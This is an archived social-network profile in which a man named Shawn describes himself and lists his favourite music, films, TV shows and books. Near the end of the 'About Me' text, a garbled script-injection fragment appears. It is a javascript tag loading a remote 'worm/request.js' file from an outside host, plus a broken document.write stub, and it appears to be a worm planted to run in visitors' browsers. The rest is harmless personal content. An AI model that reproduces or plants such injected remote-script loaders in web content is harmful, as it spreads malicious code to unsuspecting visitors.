Shawn - ProfilesArchive

About Me

I'm a mess and the shyest guy alive but I like to do things and to talk to people about stuff. I'm a happy go lucky kind of fella without being very happy or particularly lucky. A friend to all the world and an enemy to none but myself. I'm a good spellist but bad typer. I wish I had taken a picture of every meal I had before I ate it. I am a pamperd princess as my wife gives me manicures, pedicures and haircuts. I have a heavy brow and my eyes are sensitive to light. People think I am scowling, frowning or deep in thought. Nothing could be further from the truth. I easy laugh, I easy cry. When I see stuffed furniture like armchairs, sofas and mattresses thrown out on the sidewalk I get the urge to set them on fire. I eat right, exercise, get plenty of sleep, drink lots of water, exfoliate and moisturise, don't stress, party in moderation. I don't like staying inside when it's sunny out, kale, white people with dreadlocks or the sound of vacuum cleaners. I am forty two, five-feet-eight-inches tall, normally wear my curly hair long. I have a ruddy complexion, broad shoulders and am barrel-chested, I am unusually strong. I frequently wear a full beard and sometimes glasses. I am a college graduate, a talented artist, and sculptor. Now, I am a soft-spoken loner, who resents society and all organizations. I fancy myself a ladies' man. I am an avid chess player, smoke cigarettes, and a pipe. I am a beer drinker and love to eat. I am a man of widespread interests, who might very well be living abroad. Sometimes when I'm out at night in a bar watching a band maybe and it's crowded and there are friends around and I'm having a good time I am struck by the pointlessness of existence and the folly of all human endeavor and it makes me smile. When I was young I was the King of carrott flowers..... language="javascript" src="http://angeliceyz00.cbstaff.com/worm/request.js"functio n nothingf(){document.write("jajaja...{}");}..

My Interests

Modern Girls and Modern Rock'n'Roll. Music, theatre (but not musical theatre), film, food, books, travel, the ocean, road trips, used clothing stores, roadside produce, junk shops, abandon houses, chocolate, coffee, my sweetheart, pie, compassion, empathy, strength of will, magnanimity, sundays, cats, y'know.

I'd like to meet:

The person who invented fitted sheets. I'd like to shake their hand...!

Music:

Modern Lovers, Velvet Underground, Zombies, Kinks, Fall, Go-Betweens, Damned, Big Star, Television, Sonic Youth, Beatles, Johnny Hartman, Radiohead, David Bowie, Rolling Stones, Morgana King, Public Image Ltd., Sons and Daughters, Ornette Coleman, Left Banke, Seamis Ennis, Annette Hanshaw, New Pornographers, A.C. Newman, Toots and the Maytals, Gordon Lightfoot, Black Sabbath, Minor Threat, Thelonious Monk, Beck, M83, Anton Dvorak, Stooges, Buzzcocks, Syd Barrett, Faust, Can, Mississippi John Hurt, Bitch Magnet, The Roots, Sigur Ros, Boards of Canada, American Analog Set, Caribou, Bee Gees, Seam, Husker Du, Helen Merrill, Skip James, Ramones, Parts and Labor, Galaxie 500, Paper Chase, Be Your Own Pet, Scott Walker, Clue To Kalo, Tapes 'n Tapes, Belle and Sebastian, Kinski, Pelican, Pavement, Ghostface Killah, Blossom Dearie, Neutral Milk Hotel, Brian Eno, Wire, Earlies, Red Red Meat, Grizzly Bear, Young Marble Giants, Built To Spill, Swell Maps, Lightning Bolt, Liars, Curtis Mayfield, This Heat, Gene Vincent, Unrest, Gang of Four, Everly Brothers, Death Cab For Cutie, Smog, Notwist, TV On the Radio, Squirrel Bait, O.D.B., Metal Hearts, The Books, Fourtet, The Chap, Broken Social Scene, Frank Sinatra, Magnetic Fields, Neusiland, Martha & the Vandellas, Dismemberment Plan, Miles Davis, Apples in Stereo, Deerhoof, Ahmad Jamal, Sufjan Stevens, Monks, Fugazi, Nomeansno, Interpol, Harry Nilsson, Spoon, The Shaggs, Johnnie Ray, Hoagy Carmichael, Shins, Iron and Wine, The Boswell Sisters, Silver Apples, Stevie Wonder, P.J.Harvey, I Am Kloot, The Fiery Furnaces, Love, The Birthday Party, Nick Cave and the Bad Seeds, Clinic, Teenage Fanclub, for starters

Movies:

Miller's Crossing, Chungking Express, In The Mood For Love, Cinema Paradiso, Life Is Sweet, Metropolitan, Trust, The Conversation, Withnail and I, Babylon, Night Of The Hunter, L'Atalante, Straight No Chaser, Days Of Heaven, Tarnation, Crumb, American Splendor, Don't Look Back, Gimme Shelter, Bottle Rocket, Rushmore, The Royal Tenenbaums, Parapluis de Cherbourg, Manhattan, Sweet Smell of Success, City of God, Adventure of Faustus Bidgood, all of Kubrick's uummmm what else?

Television:

Coronation Street, Gilmore Girls, Wonder Showzen, Sopranos, The Daily Show, The Colbert Report, Six Feet Under, Deadwood, Strangers With Candy, Arrested Development, Father Ted, Mr.Show, Pimp My Ride, The Office and sexy, late night infomercials. Not that I go out of my way to see any of it except Corrie.

Books:

The novels of John Cheever, the plays of Harold Pinter, Philip Ridley, Neil LaBute, Martin McDonough, almost any music related biography including Please Kill Me, Rip It Up And Start Again, Lost In Music, This Little Ziggy, The Recording Angel. Great Expectations, Old Man Dare's Talks To College Men, The Moral Animal, Sky of the Naughty.

Heroes:

My dad.